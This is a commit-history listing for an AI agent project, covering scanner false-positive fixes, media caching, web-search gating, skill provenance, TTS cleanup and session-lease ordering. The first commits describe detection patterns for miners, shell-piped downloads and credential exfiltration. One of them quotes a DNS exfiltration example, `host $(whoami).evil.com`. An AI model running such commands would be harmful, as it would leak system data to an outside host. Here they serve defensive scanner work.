Commit Graph

4218 Commits

Author SHA1 Message Date
teknium1
2be78cbcf7 fix(plugin-guard): false-positive round 3 from the 2026-10-01 catalog sweep
Seven more mechanisms that scored clean catalog pins as caution/dangerous,
each fixed at the pattern or context level (no path exclusions):

- crypto_mining: the bare coin name `monero` as a keyword in a connector
  index / search shortlist (`"monero gateway"`, `... monero multimodal ...`)
  lands at medium when nothing on the line names miner software, a pool,
  an algorithm or the act of mining. xmrig / stratum / coinhive /
  cryptonight, or `monero` beside a pool or "miner", keep full severity.
- dns_exfil: `host` is an English noun and an HTTP header. It now needs
  the exfil shape itself (an interpolation inside a domain name,
  `host $(whoami).evil.com`) or a shell command position (`; host $x`,
  `do host $c`). "the connected host (${id})", a JS `host ${status}:`
  message and nginx `Host $host;` no longer match. dig/nslookup unchanged.
- echo_pipe_exec / curl_pipe_shell / wget_pipe_shell: the shared shell
  alternation is word-bounded, so `| sha256sum -c` is not `| sh`.
- exec_string: an upper-case SQL statement (`db.exec('PRAGMA ...')`,
  BEGIN/COMMIT/ROLLBACK/CREATE/INSERT ...) is a database call.
- sudo_usage (and any other high, non-agent-facing finding) mid-sentence in
  a `"key": "string"` pair or a bare string list element of a .json data
  file (tips / translation table) takes the README prose cap. Command keys,
  a string that starts with the command (`"sudo",` in an args array),
  package.json and critical findings keep severity.
- test fixtures: in Python/JS/TS a `$(...)` or backtick INSIDE a string
  literal is data, so a hostile-input table no longer counts as executing.
  `os.system(...)`/`exec(...)` outside the literal still do; shell files
  keep the raw line.
- docs self-uninstall: `rm -rf ~/.hermes/plugins/<own name>` (and
  `${HOME}`) gets the same note as the `$HOME` form; a wider target or the
  same line in a .sh keeps severity.

curl_pipe_shell in a Python hint string is deliberately unchanged: the
same literal assigned to a variable is the attack shape, and it is only
high (caution) today.

SCANNER_VERSION -> skills-guard-v8 (regex changes in the shared table).
2026-10-01 22:05:55 -07:00
Teknium
400ed22df1 fix(plugin-guard): a bracket span holding a quote is a list, not a character class
The catalog blast-radius sweep showed `hex_encoded_string` stepping down on
`[Frame(b"\x01\x00" * 200), ...]` — a Python LIST of byte strings that the
bracket lexer read as a regex class. Exclude quote characters from the class
body; the real control-char / ANSI classes in the sweep are unaffected.
2026-10-01 22:05:55 -07:00
Teknium
8319fa1d74 fix(plugin-guard): false-positive round (denylist regex literals, localhost curl docs, tone rules, ANSI regex)
Four false-positive classes surfaced by today's catalog intake, each demoted only
where the text is inert and proven to keep its severity at a command position:

- format_filesystem: the filesystem-format binary as an alternation member of a
  guard plugin's OWN denylist regex literal (perseus-vault authority.py:44) was an
  un-overridable `dangerous`. Joins the existing alternation-token contract
  -> high (caution). The same word at a command position (subprocess.run /
  os.system / mid-pipeline command string) stays critical.
- env_exfil_curl/wget: a README health check `curl -H "Bearer $KEY" \` whose
  loopback URL is on the continuation line (memex8 README.md:166). The pattern
  already exempts a same-line loopback; re-run it over the logical line and
  require every http(s) host be loopback -> low. A routable host anywhere on the
  logical line keeps high (README) / critical (after-install.md).
- deception_hide: a skill tone rule quoting the phrase not to say
  (`Do not tell the user to "be careful with terminal."`, hermes-tenuo
  SKILL.md:24) no longer matches; unquoted `to ...`, `about`, `that`, `what`
  concealment instructions still fire at high.
- hex_encoded_string: every `\xHH` inside a `[...]` regex character class
  (`/[\x00-\x1F\x7F]/`, ANSI filters) -> low; a payload outside a class, or
  beside a class, keeps medium.

PLUGIN_SCANNER_VERSION -> plugin-guard-v9 so cached verdicts re-scan.
A/B vs origin/main: in-tree sweep 320 entries, 0 worse (3 hex findings
medium->low on real control-char regexes); attack probes identical.
2026-10-01 22:05:55 -07:00
teknium1
afc47d6e4f Revert "feat(approval): a turn can hold its approval prompts open until answered"
This reverts commit e57fa350cb.
2026-10-01 13:23:12 -07:00
kshitijk4poor
8fc2de8906 test(delegation): read the owner's git state from a throwaway repo
The recovery-hint test used the hermes checkout as the owner cwd. CI's
actions/checkout writes a repo-local includeIf credential include, and
noninteractive_repo_git_env now refuses any includeIf, so the hint was
(correctly) withheld and the test read a missing key.
2026-10-02 01:24:41 +05:30
kshitijk4poor
266499524e fix(gateway): deliver and bound-sync generated media in cache/generated
The salvage moved generated images/videos to cache/generated/<kind>/ so the
24h sweep stops deleting the only copy (#126445), but two consumers still
only knew the old swept dirs:

- Strict media delivery (HERMES_MEDIA_DELIVERY_STRICT=1) allowlists cache
  roots via _MEDIA_DELIVERY_CACHE_SUBDIRS; without "generated" a day-old
  generated image was rejected once the recency window lapsed, i.e. the
  move broke re-sending artifacts on public gateways.
- iter_cache_files (Modal/remote resync) walked the new never-swept tree in
  full, so every sync re-uploaded the whole generation history. Only files
  within the sweep window (MEDIA_CACHE_MAX_AGE_HOURS) are synced now.

GENERATED_SUBDIR and MEDIA_CACHE_MAX_AGE_HOURS live in agent/provider_media
as the single source for the image/video writers, the gateway allowlist and
cleanup default, and credential_files. Also trims duplicated comments and
fixes the pet orchestrate comments (nothing prunes cache/generated/images).
Tests use direct function refs instead of importlib strings.
2026-10-02 01:18:03 +05:30
kshitijk4poor
64f81b18be test(agent): trim generated-media salvage tests to two invariants
Keep sweep survival (parametrized over image/video writers) and the
cache/generated mount mapping; the outside-dir, per-file sync and SSH
artifact cases restate those two invariants.
2026-10-02 01:18:03 +05:30
finn763
823385e5cb fix(agent): keep generated images/videos out of swept media caches (Closes #126445)
Generated image/video output now writes under cache/generated/images|videos
instead of the swept inbound caches (cache/images, cache/videos). The hourly
gateway housekeeping deletes 24h-old files in those dirs; for base64-returning
providers the swept file was the only copy, breaking transcript references,
the Artifacts panel and later edits.

Rebased onto current main, where the writers delegate to agent/provider_media,
so the media kind is now the generated/ subpath. cache/generated is added to
tools/credential_files._CACHE_DIRS: without a mount/sync entry the Docker,
SSH and Modal backends never receive the bytes and the provider result loses
agent_visible_image. All callers consume the returned absolute paths, so no
call-site changes were needed; inbound download paths (get_image_cache_dir /
get_video_cache_dir) and the sweeper are untouched.

RED: tests/agent/test_generated_media_durable.py (9 failed on main) — 25h-backdated
generated files deleted by the real cleanup_image_cache / cleanup_video_cache, and
no mount mapping for cache/generated. tests/tools/test_image_generation_artifacts.py
::test_real_generated_image_is_agent_visible_under_ssh_env covers the sandbox
regression with the real writer. Green: 533 passed, 19 skipped.

Co-authored-by: Froraut <79215537+Froraut@users.noreply.github.com>
(cherry picked from commit fd23181f22232f66aec7076d6bf0868ed45661f2)
2026-10-02 01:18:03 +05:30
kshitijk4poor
992f7807bf refactor(tools): pass each region to the Unicode-preserving replacement
_preserve_unicode_in_replacement now takes the matched region directly
instead of (content, [span]) wrapped per call, and the normalized
old_string plus its old->new opcodes - identical for every match - are
computed once per replace_all rather than once per match.

The replace_all Unicode regression test moves to a pure
fuzzy_find_and_replace test in tests/tools/test_fuzzy_match.py, replacing
the registry-driven test_patch_unicode_replace_all.py.
2026-10-02 01:15:39 +05:30
kshitijk4poor
8b31a4f493 fix(file-ops): refuse JSON NaN/Infinity only when the write introduces it
Moving the strict parse_constant check into the shared _lint_json_inproc
made the fail-closed write gate reject EVERY write to a .json file that
already holds NaN/Infinity, so an unrelated patch to such a file became
impossible (a regression), and the lint-delta baseline flipped too.

Keep the lint lenient and do the strict check in write_file after the
pre-write probe: refuse a candidate containing NaN/Infinity/-Infinity
unless the pre-edit content already used one. Unknown pre-content
(missing file, unreadable) refuses, keeping new files strict.

The parametrized test replaces tests/tools/test_json_write_constants.py.
2026-10-02 01:15:39 +05:30
Rudy Celekli
1c78e721bc fix(file-ops): refuse nonstandard JSON constants before writes
Signed-off-by: Rudy Celekli <47457359+rudycelekli@users.noreply.github.com>
(cherry picked from commit 14190a14ac234fb5ead801871386b6428f172269)
2026-10-02 01:15:39 +05:30
Rudy Celekli
13f25e5fd9 fix(tools): preserve each normalized replacement’s Unicode
Signed-off-by: Rudy Celekli <47457359+rudycelekli@users.noreply.github.com>
(cherry picked from commit 8e18884e6b4638c8a91ba4fd678821e6812f6130)
2026-10-02 01:15:39 +05:30
kshitijk4poor
509d0f12d4 fix(web): give the managed-search refusal an accurate reason
The refusal named a cause that cannot happen. `_vendor_gateway` never contacts the
network, so "unreachable" was wrong for the no-identity, failed-lookup and
not-entitled cases alike — and a guest was told it had no Nous identity when it
holds a perfectly good one.

Root of the guest case: `_error_info` dropped `account_tier`, so a guest whose
account lookup failed — precisely the state where the tier can no longer be read
from the JWT, because the token is inside its refresh window — came back looking
like a registered identity. Carry the stored tier through the error snapshot, and
both this refusal and every other tier-aware surface see it.

Pick the reason in priority order (guest / no usable identity / unreachable) in
one helper beside `fast_search_entitled`, so the predicate and its explanation
cannot drift, and phrase it as a clause for `selection_error`'s "but …" template —
the canonical `FREE_TIER_NEEDS_ACCOUNT` strings are standalone sentences and read
wrong embedded mid-sentence.

Also record why the `error` clause in `fast_search_entitled` is load-bearing
rather than defensive, so it is not removed as belt-and-braces.

The test helper now mirrors what anon_auth actually persists (the tier alongside
the token), which is what makes the failed-lookup case reproducible at all.
2026-10-01 23:55:54 +05:30
kshitijk4poor
9ab49e73b4 fix(web): honest guest refusal, and one route walk per search dispatch
Two review findings on the free fast-search route.

A guest with a stored `web.backend: nous` holds a real Nous identity and a
usable token; the route excludes it by tier, not by absence. The refusal said
"no Nous identity or unreachable", which is wrong for exactly the cohort this
route was gated against. Reuse the canonical FREE_TIER_NEEDS_ACCOUNT text for
the anonymous tier and keep the unreachable wording for everyone else.

search() then called _managed_web_search() a third time just to choose that
message, after _managed_gateway() had already resolved the route — a full
autodetect ladder plus a Portal account read and token peek. Let _managed_gateway
accept the answer its caller already computed so a dispatch walks the ladder
once.

Docs: the autodetect row implies the keyless switch governs a registered
identity's web_search. It does not.
2026-10-01 23:55:54 +05:30
kshitijk4poor
c298e29874 fix(web): match the anonymous tier case- and whitespace-insensitively
The free fast-search gate compares `account_tier` against the literal
"anonymous", but the claim arrives verbatim from the JWT or the account payload
and neither `_coerce_str` nor the reader strips or casefolds it. So "Anonymous",
"ANONYMOUS" and " anonymous " all read as a registered identity and hand the
guest tier the route the gate exists to reserve.

Normalize at the single definition — `NousPortalAccountInfo.is_anonymous_tier`,
which every consumer shares — rather than in the caller, and route the
module-level `_is_anonymous_tier` helper through the property so the two cannot
drift.

Measured before the fix: the three variants returned True from
`fast_search_entitled()` and resolved the gateway. After: all denied, and
reverting the normalization turns the new cases red.
2026-10-01 23:55:54 +05:30
kshitijk4poor
cee3000c24 fix(web): exclude the anonymous guest tier from free fast search
The managed Perplexity ``search_type: "fast"`` route is served without funding
checks, but eligibility is still identity-scoped: the anonymous guest tier has no
Portal account behind it, so it must keep the keyless ring rather than claim a
route the gateway may not serve it.

``resolve_free_search_gateway`` resolved on the presence of a Nous token alone,
and the guest tier has a perfectly usable one, so every anonymous install would
have been routed to the gateway. Add ``fast_search_entitled`` — a registered
Portal identity of any tier, no credit or tool-pool requirement, anonymous tier
excluded, failing closed on unknown/error — and gate the free route on it.

Guests are byte-identical to before: the resolver returns None, autodetect falls
through to the keyless ring, and no gateway request is made. A registered
zero-credit account still gets free fast search. Extract and every other managed
vendor keep the paid entitlement gate.
2026-10-01 23:55:54 +05:30
Robin Fernandes
fd24751a9f fix(web): serve free managed fast search to every Nous identity
The Tool Gateway serves Perplexity POST /search with search_type: "fast"
to any Nous identity without funding checks, but Hermes gated the route
locally behind managed_nous_tools_enabled() (paid access or a live tool
pool), and autodetect only selected managed Perplexity after the gated
Firecrawl probe passed. Anonymous and credit-exhausted users fell through
to the keyless ring without trying it.

Resolve the Perplexity search route on identity alone
(resolve_free_search_gateway: usable Nous token, same guest-disabled and
refresh rules), and let autodetect pick it when nothing explicit is
configured. Every other vendor keeps the entitlement gate, and the billed
managed-Firecrawl fallback now requires it too, so a free-search-only
caller whose call fails goes to the keyless rescue ring as before.
Explicit selections and direct keys keep precedence.
2026-10-01 23:55:54 +05:30
unsupportedpastels
bd394e2a4b fix(kanban): gate kanban_schedule like the other lifecycle tools
Follow-up to the in-process schedule tool:

- run-lifecycle guard: an unbound/malformed HERMES_KANBAN_RUN_ID now refuses
  kanban_schedule, so a stale worker cannot park a card a successor owns
- goal_mode tasks are refused: `scheduled` ends the goal loop like `blocked`,
  so parking would bypass the completion judge (#38696)
- stop nudge treats kanban_schedule as a handoff
- Codex app-server workers get it via EXPOSED_TOOLS
- cron/AGENTS.md lists it with the worker toolset

Refs #108554, #108566
2026-10-01 09:26:00 -04:00
fangliquanflq
8e00bfdf06 feat(kanban): add in-process schedule tool
(cherry picked from commit 339cc5589d8aca1ba38c3da997e6680bbde039c1)
2026-10-01 09:26:00 -04:00
kshitijk4poor
04bcd6f322 test(image_gen): state the creative-controls schema relationship as a subset check 2026-10-01 16:22:28 +05:30
kshitijk4poor
e054422124 fix(image_gen): pass a provider only the creative controls it declares
The salvaged handler forwarded creativity/intensity/complexity/movement to
whichever route ran, declared or not. A model that copies slider values
from earlier turns after the backend changed would hand them to a
third-party generate() without **kwargs, which raises TypeError and fails
a plain text-to-image call that works today. Both plugin routes now keep
only the names in the provider's capabilities()["creative_controls"].

Tests: the dispatch test now declares one control and asserts the
undeclared one is dropped; the two schema tests become one relationship
test (the schema renders exactly what the Krea plugin declares, FAL renders
none) instead of pinning the enum and bounds.
2026-10-01 16:22:28 +05:30
Mariano Nicolini
12e557bf74 test(image_gen): let the sliders dispatch test register its own fake provider after main pruned the shared one
(cherry picked from commit 22b0ca6e7924186d3372ac4170978724fb892f6e)
2026-10-01 16:22:28 +05:30
Mariano Nicolini
bf1bc78e63 feat(image_gen): expose the Krea 2 sliders to the agent only when the active backend declares them
(cherry picked from commit cbbd7f2b7b961fc822b47f4783b29fbc581f06b6)
2026-10-01 16:22:28 +05:30
kshitijk4poor
209003492a test(bot-relay): pin that a home override beats the launch-home fallback
Re-gate finding: dropping the override clause from the fallback condition kept every test
green, and would hand a spawn under a dashboard/cron override the LAUNCH profile's secrets
(an explicit target_home beats the override inside served_profile_child_env). The comment
now says that instead of claiming the slash-worker spawn has the same shape (it does not
check override or scope).
2026-10-01 16:18:46 +05:30
kshitijk4poor
a802212171 fix(bot-relay): classify the named-secret spelling of a scope refusal too
UnscopedSecretError reads "could not read this profile's OPENROUTER_API_KEY" when get_secret
passes the name, which the salvaged rule missed (fell to unknown). Key on the lede both
spellings share. The dedicated test duplicated the parametrized table (and retry_action of
a non-retryable code); the named spelling is a table row built from the real exception.
2026-10-01 16:18:46 +05:30
nicolajbjerregaard1996-pixel
bc0520a04a fix(bot-relay): classify a target-scope spawn refusal as its own reason
A spawn site that cannot resolve the target profile's secret scope fails with copy that says
"API key" and "restart", but nothing was ever sent to a provider. It classified as `unknown`;
give it its own code (`target_scope_unresolved`), claimed before the auth rules, never
auto-retried.

Salvaged from b0c6f0e165 (classifier half only; the refusal copy and reply rewrite were
dropped in review).
2026-10-01 16:18:46 +05:30
kshitijk4poor
5403a30155 fix(bot-relay): launch-home fallback only under multiplex; test pins a literal home
The salvaged fallback also fired on single-profile hosts and in the separate DM-runner
process, where it pinned HERMES_HOME, rewrote TMPDIR and overlaid .env secrets over a
pass-through env. Gate it on is_multiplex_active(), the same shape as the slash-worker
spawn (#115427), so single-profile hosts stay byte-identical.

The original test compared against production's own resolver, so swapping the fallback to
get_process_hermes_home() (follows a host-mirrored HERMES_HOME) stayed green. The new test
pins the launch home, mirrors another home into HERMES_HOME and asserts the literal launch
path + its key; a second test pins the single-profile pass-through. Mutations: launch->active
red, gate removed red, fallback removed red.
2026-10-01 16:18:46 +05:30
nicolajbjerregaard1996-pixel
390155de56 fix(bot-relay): resolve the launch home so a relayed DM into a default profile can spawn
delivery_env() passed profile_home straight through, and _profile_home answers None for the
LAUNCH profile by design ("already the launch profile, no override needed"). A relay RPC is
sessionless, so it binds no secret scope, and served_profile_child_env then failed closed under
multiplex (tools/environments/local.py:404) with its generic "could not read this profile's API key".

Effect: every relayed DM into a *default* profile died on the delivering gateway, while deliveries
to named secondary profiles - which do resolve a home - kept working, and inbound stayed fine. That
asymmetry is the whole bug: it is the target being the launch profile, not the transport.

Resolve the launch home only when the two tiers served_profile_child_env already prefers (the home
override, then the bound secret scope) are both absent, so a bound scope still wins.

Red on base: delivery_env(None, None) raises UnscopedSecretError verbatim; green after, with the
override and scope tiers asserted to still take precedence.

(cherry picked from commit 39e09b02c459ae572a06a2a787c246639623ca65)
2026-10-01 16:18:46 +05:30
Brooklyn Nicholson
e57fa350cb feat(approval): a turn can hold its approval prompts open until answered
set_prompts_wait_for_answer() binds, per turn, that built-in approval prompts
have no deadline; approval_wait_seconds() is the one resolver the gateway poll
loop, the CLI prompt and the human-wait ceiling read. approvals.timeout keeps
governing messaging platforms, ACP and approval transport plugins.

A human-wait window now fixes its ceiling when its waiters enter it, so the
batch-deadline loop reading it from an unbound context still excludes an
unbounded prompt in full.
2026-10-01 03:50:55 -05:00
ericmaddox
8d940d2cba fix(tools): preserve agent-browser session for CDP commands to resolve snapshot refs
Ensure `--session <name>` is passed alongside `--cdp <ws_url>` in `tools/browser_tool_session.py:_run_browser_command()`.

Previously, `--session` was omitted when `session_info["cdp_url"]` was set, causing `agent-browser` CLI invocations to run statelessly without connecting to a session daemon. Consequently, the accessibility ref map built during `browser_snapshot` was not retained across CLI calls, causing subsequent ref actions like `browser_click("@e4")` or `browser_type("@e4", text)` to treat `@e4` as an unescaped CSS selector and fail with Playwright parser errors.
2026-10-01 03:18:09 -05:00
Baophan00
dd49b7f69f fix(desktop): route message.reaction events by session id, not window id
message.reaction events are session-scoped (they mutate a chat
transcript), but desktop_ui.emit() was routing ALL events through
HERMES_UI_SESSION_ID — a window/socket identity. The renderer's
gateway-event stream is keyed on the session id, so the frame
landed on a stream that doesn't own the transcript and was never
painted live. The reaction persisted correctly (the DB write is
session-aware), but only appeared after a resume/reload.

Window-level events (pane.reveal, preview.open) continue to route
by HERMES_UI_SESSION_ID unchanged.

Fixes #80678.
2026-10-01 01:53:55 -05:00
Brooklyn Nicholson
491a3d90ac test: drop issue number from test filename (layout guard) 2026-10-01 00:52:58 -05:00
finn763
9e41777476 fix(process-registry): match task queries on ownership chain, stamp WSL launcher chains
Queries (list/has_active/snapshot/kill_all/completion-wait) filtered on the
collapsed container key only, so a delegate child's own background work was
invisible under its raw sa-... id while GPU work ran: empty lists, missed
reaps, ownerless PIDs. Match container key OR raw owner_task_id via one
shared _spawned_by_task predicate.

Also stamp wsl[.exe]-launched spawns with a durable wsl_chain marker
(checkpoint-persisted) and surface a wsl -e ps pointer in list entries: the
recorded host PID is the short-lived launcher, never the Linux-side workers.

Scope: the ownership-chain half only. This commit deliberately leaves the
reported incident uncovered, so the tracker item referenced above (#120546)
stays open after merge: the launcher exiting still moves the session to
_finished, has_active_processes() and kill_all() still skip it, and no guest
PID tree is captured. Durable WSL-side worker tracking/reaping is a separate,
larger change and is not attempted here.
2026-10-01 00:52:58 -05:00
Brooklyn Nicholson
10990b5a00 test(learning-graph): force the external-mount-first scan order
test_used_local_skill_still_produces_learning_node was reported as failing
under scripts/run_tests.sh (env -i) but passing under bare pytest, which read
as ambient-env leakage. Reproduction on both the reviewed head and the current
one shows the suite green under the scrubbed runner; the flake the reviewer hit
was the 'external' source loop-variable leak (fixed in 71485f5763), whose
manifestation depends on rglob scan order — env -i changes TMPDIR, which
changes the tmpdir layout, which changes the order the mount and the local
skill are yielded in. That env-dependence was coincidental, not causal.

Pin the hostile order directly: patch Path.rglob so the external mount's
SKILL.md always scans before the local skill, and assert the local skill still
classifies 'agent' (red at the reviewed head, green now). Also drop the
no-op monkeypatch of hermes_constants._hermes_home_cache — no such attribute
exists, so it reset nothing and only implied a cache reset that never happened.
2026-09-30 23:10:24 -05:00
Brooklyn Nicholson
c13232e90c feat(skills): external mounts get an 'external' provenance tier (#108032)
Skills mounted from skills.external_dirs are externally authored, but every
provenance surface flattened them into 'agent': the usage report, the
dashboard's set-based twin, the desktop catalog/detail UI, and the learning
journey graph (where a used external mount rendered as a learned skill).

- tools/skill_usage: provenance() gains an 'external' tier (external-only:
  a local copy of the same name keeps winning, mirroring is_agent_created's
  external exclusion and _external_skill_names() scans external dirs once
  for the router's set-based twin.
- web_routers/skills: /api/skills classifies hub > bundled > external > agent.
- learning_graph: skills whose path resolves under an external dir are tagged
  source='external' and are never learning milestones — a mount is configured,
  not learned, even when used.
- desktop: SkillInfo.provenance gains 'external'; the catalog labels mounts
  'external' and the detail pane keeps them editable in place. Origin only,
  never mutability: read-only enforcement for external mounts was deliberately
  rejected by maintainers (commit 8c8fc6c1ec / PR #17512 — a refusal just
  breeds silent local duplicates). Provenance decisions extracted into
  skill-provenance.ts pure helpers (testable without source-reading tests).
- curator: usage report/filter knows the 'external' origin.

The desktop edit logic in this commit is the natural reading of 8c8fc6c1ec
(external dirs exist so the user can point Hermes at a vault they curate
elsewhere); if maintainers prefer the read-only half as well, it slots in
behind isEditableProvenance() in one place.
EOF
)
2026-09-30 23:10:24 -05:00
finn763
c8d61bbc60 fix(tools): tool_call scope gate names the missing GUI surface for preview tools
Related to #120413
2026-09-30 23:07:09 -05:00
Brooklyn Nicholson
1a142d4e38 fix(skills): preview a staged patch through the approval matcher
_fold_staged()/skill_pending_diff() folded patch ops with plain str.replace(),
ignoring replace_all and the fuzzy-match contract the approve path runs
(_patch_skill -> fuzzy_find_and_replace). A patch whose anchor repeats in the
target content previewed a folded diff ('X X') that /skills approve would then
reject with 'Found 2 matches'.

Fold previews through fuzzy_find_and_replace with the payload's replace_all and
render an explicit '(patch would fail: ...)' note instead of a fabricated
result; in a staged batch a failed patch leaves the later ops' base at the
pre-patch content, since approve aborts the batch at that op. Also drops the
trailing blank line at EOF flagged by git diff --check.
2026-09-30 23:05:43 -05:00
Brooklyn Nicholson
036c577c86 fix(desktop): surface staged skill-write review on the desktop and TUI
With skills.write_approval on, every skill write is staged to the
file-backed pending store, but no non-CLI surface could review it:
the desktop resolver marked the whole /skills family as the sidebar's
(desktop="settings") and discarded the subcommand token, and
tui_gateway command.dispatch had no route for /skills or /memory —
a failed slash worker turned both into the routing refusal, so staged
writes accumulated silently (#98330, #123315, #118812).

- hermes_cli/commands.py: new CommandDef.desktop_subcommands field;
  /skills declares its write-approval review slice
  (pending/approve/reject/diff/approval) and drops desktop="settings".
  command_desktop_meta serializes the allowlist (empty tuple = deny
  all); gateway contract regenerated.
- apps/desktop: the resolver threads the typed arg —
  desktopSubcommandAllowlist, an exec gate
  (desktopSubcommandUnavailableMessage) that renders an actionable
  refusal for hub mutations instead of forwarding them, completion
  filtering so the popover never suggests a dead end, and the
  isDesktopSlashCommand(name, arg) threading at the runExec gate.
  An explicit /skills spec keeps a current Desktop able to review
  staged writes even against an older backend catalog.
- tui_gateway command.dispatch: _cmd_skills answers only the
  registry-declared review slice under _session_home_scope (an
  unlisted subcommand keeps the 4018 routing refusal); _cmd_memory
  routes the shared handler with the live agent's store or a fresh
  on-disk one and a profile-scoped config setter. Gate-off still
  answers while staged writes exist (gateway parity, never stranded).
- tools/write_approval: _staged()'s review hint is surface-aware —
  slash-capable surfaces (CLI/TUI/desktop/chat gateway) keep
  "<command> pending"; headless contexts (cron, kanban, api_server,
  webhook delivery) get the pending directory path instead of a
  command nobody can deliver.

Batch skill writes also rendered "(batch on ...)" for /skills diff —
skill_pending_diff had no action='batch' case; ops now diff in order
against what earlier ops of the same batch left (finn763's #123861).

Supersedes #98794 (registry-driven desktop_subcommands + resolver
allowlist), #105773, #118821 (command.dispatch handlers + arg
threading), #123861 (batch diff renderer). #107799 is superseded by
the same subcommand-aware resolution.

Co-authored-by: foma-agent <foma@bokonon.ai>
Co-authored-by: Jason Havenaar <35441875+jasonHav@users.noreply.github.com>
Co-authored-by: finn763 <165816600+finn763@users.noreply.github.com>
Co-authored-by: chelsealong <chelsealong@126.com>
2026-09-30 23:05:43 -05:00
finn763
b46f182f8b fix(skills): render per-op diffs for staged batch skill writes
skill_pending_diff had no case for action='batch' (every skill_manage
operations[] write), so /skills diff <id> fell through to '(batch on …)'.
Batch ops apply in order: each op now diffs against what the earlier ops
of the same batch left in the file (disk only for untouched files), under
its skill_gist header; single-op paths are unchanged.
2026-09-30 23:05:43 -05:00
Brooklyn Nicholson
9b761903b9 fix(tts): silence identifier-dense tokens in both speech normalizers
Filenames with extensions, hashes, UUIDs, dense model/version IDs and
paths were spoken character by character ('peyton-sample-20260922.wav'
as 'peyton dash sample dash two zero two six...'), making otherwise
clean synthesized audio sound corrupted (#119207).

One identifier-to-speech pass, mirrored token-for-token in
tools/tts_text_normalize.py (prune_identifier_tokens_for_tts, wired
into prepare_spoken_text after the symbols pass) and
apps/desktop/src/lib/speech-text.ts (pruneIdentifierTokens, in
sanitizeTextForSpeech after code fences/links/URLs/MEDIA tokens are
consumed). Identifier-dense tokens become silence — never a hardcoded
English placeholder word, per the #86602 lesson (the reply may be in
any language). Ordinary prose, email addresses, dates ('2026/06/02'),
ratios ('3:2'), prices and short hyphenated words (COVID-19,
well-known) pass verbatim.

Also fixes a pre-existing smooth_whitespace_for_tts bug the corpus
surfaced: 'user@example.com' was read as 'user@example. com' because
the punctuation-space pass split any letter-follows-punctuation pair;
it now only splits when the punctuation is not glued to a word
character on the left.

The two implementations are pinned to the same corpus
(tests/fixtures/identifier_speech_corpus.json), asserted by both
tests/tools/test_tts_identifier_speech.py (pytest) and
apps/desktop/src/lib/speech-text.identifier-corpus.test.ts (vitest).

Builds on the desktop-half approach of PR #119212 (which leaves the
gateway/CLI normalizer in tools/tts_text_normalize.py untouched) and
extends it to both halves.

Co-authored-by: KoNit-K <konit.block@protonmail.com>
2026-09-30 23:02:33 -05:00
unsupportedpastels
eb8d21f482 fix(approval): give global-flag runs one parse in dangerous-command rules
The terminal approval check runs right after the lifecycle guard, on the
tool thread with no deadline. Seven hermes/docker/podman rules used the same
ambiguous `-{1,2}\S+(?:[=\s]\S+)?` flag repetition as the lifecycle pattern,
so the reported rclone command (and any long flag run after hermes, docker,
docker compose or podman) still froze the gateway in
detect_dangerous_command() once the lifecycle scan returned (#129281).

Give each rule a linear global-flag fragment with one parse per flag. The
docker/podman rules keep taking a separate value only after exactly one
whitespace character, as before, so no approval decision changes: old and
new rules agree on every command of up to four tokens with single spaces
and up to three tokens with mixed spaces, double spaces and tabs.

Reported-by: starship-s
2026-09-30 21:33:08 -04:00
Brooklyn Nicholson
e0c0c8c68c test: keep one ordering contract for single-query finalize
The full-order test in test_oneshot_completion_linger plus the real-DB,
real-lease successor test pin the finalize order; drop the lease-before-linger
and memory-before-successor tests that re-asserted it, and let the wait-failure
test assert what it is about.
2026-09-30 10:32:09 -05:00
Brooklyn Nicholson
a6509d6b8f fix(bot-mode): bound the live DM wait and check the owner with the claim's own match
An owner lookup that kept raising, or a live owner whose receipt never left
queued/claimed, looped the runner forever (~46 MB each, holding the sender's
notify slot). Add an absolute deadline that reports the pending do-not-resend
payload, and treat an unconfirmable owner like a vanished one: one more window,
then release. The owner check now uses bot_live_delivery's claim match (which
also follows the compression tip), and the fresh pre-read before cancelling is
gone since cancel_queued_delivery re-reads under the mailbox lock.
2026-09-30 10:00:37 -05:00
z0zero
a94b975831 fix(bot-mode): carry late live DM replies to sender
(cherry picked from commit c274db6ea52504fa661339dd5d1db141db1cfb65)
2026-09-30 09:57:30 -05:00
z0zero
cb375015e3 test(bot-mode): reproduce late live DM reply loss
(cherry picked from commit e2e6e679cb29c2a116026acd2cb9b1cdf6d4fa17)
2026-09-30 09:57:28 -05:00
Zheqing Zeng
82c76be695 fix: run memory-provider session finalization inside ownership too
Review feedback (Enough1122): _run_cleanup -> _shutdown_agent_memory_provider
-> MemoryManager.on_session_end is session-keyed settlement (OpenViking commits
sessions/{sid} synchronously; Supermemory flushes pending turns stamped with the
session id), and at the previous head it ran AFTER the lease release — a
successor admitted during the linger could be mid-turn on the session while the
predecessor committed its remote memory session underneath.

Move the shutdown into phase 1 (after the durable flush — #88583's failure
ordering — before the finalize hook's slot in ownership). It is idempotent
(_memory_provider_shutdown), so _run_cleanup's post-release repeat is a no-op.

Also correct the docstring: phase-1 settlement is best-effort, not a proven
invariant — failures are logged and the release still happens, because an
exited process pinning the lease is worse than a dangling row (session_recovery
reaps stale rows).

Adds a discriminating test: real lease, recording agent stub, successor
acquires during the linger — memory_commit must precede release precedes
successor_acquired. Order tests now pin flush → finalize → memory → release →
linger → teardown.

(cherry picked from commit 06dc026126a473a08f182014d38f5213a842c8a3)
2026-09-30 09:57:20 -05:00
Zheqing Zeng
1d39a2d3d3 fix: settle session-owned state before releasing the lease
Review feedback (andrexibiza): the previous revision released the lease before
_flush_one_shot_session_store, whose unconditional end_session (WHERE id=? AND
ended_at IS NULL, no owner fence) could stamp a successor's open interval when
the successor acquired and reopened the session during the lingering process's
post-release flush.

New order: session settlement (flush + finalize hook) → lease release →
process-only linger + teardown. Early admission is preserved (release still
precedes the linger); the handoff race is closed because the predecessor has
no session-owned writes left once it releases.

Adds a two-owner regression test (real SessionDB + real lease): the linger is
patched to play a successor that acquires and reopens mid-linger; the
successor's open interval must survive the predecessor's finalize. Verified
discriminating against BOTH unsafe orders (previous PR head and origin/main).

(cherry picked from commit e0b4a34a981f6d2bbdcc97be977e64e867987b6a)
2026-09-30 09:57:16 -05:00
Zheqing Zeng
734ac474e5 fix(cli): release the one-shot session lease before the exit linger
A one-shot CLI run (hermes chat -Q, the Bot Mode delivery transport)
claimed the session lease at turn start and released it only via
atexit/finalize-tail, after the bounded exit linger for
notify_on_complete children. A run whose turn had ENDED but whose
process lingered alive-but-idle (observed: 434s drain wait, 0.016s CPU
over 20 min wall) kept the lease valid — its liveness check is
(pid, create_time) — so every new delivery into the session was refused
("Refused active session") for minutes after the turn finished, and
each refused delivery spawned its own lingering process tree
(#118826).

_finalize_single_query runs only after every turn of the run (main
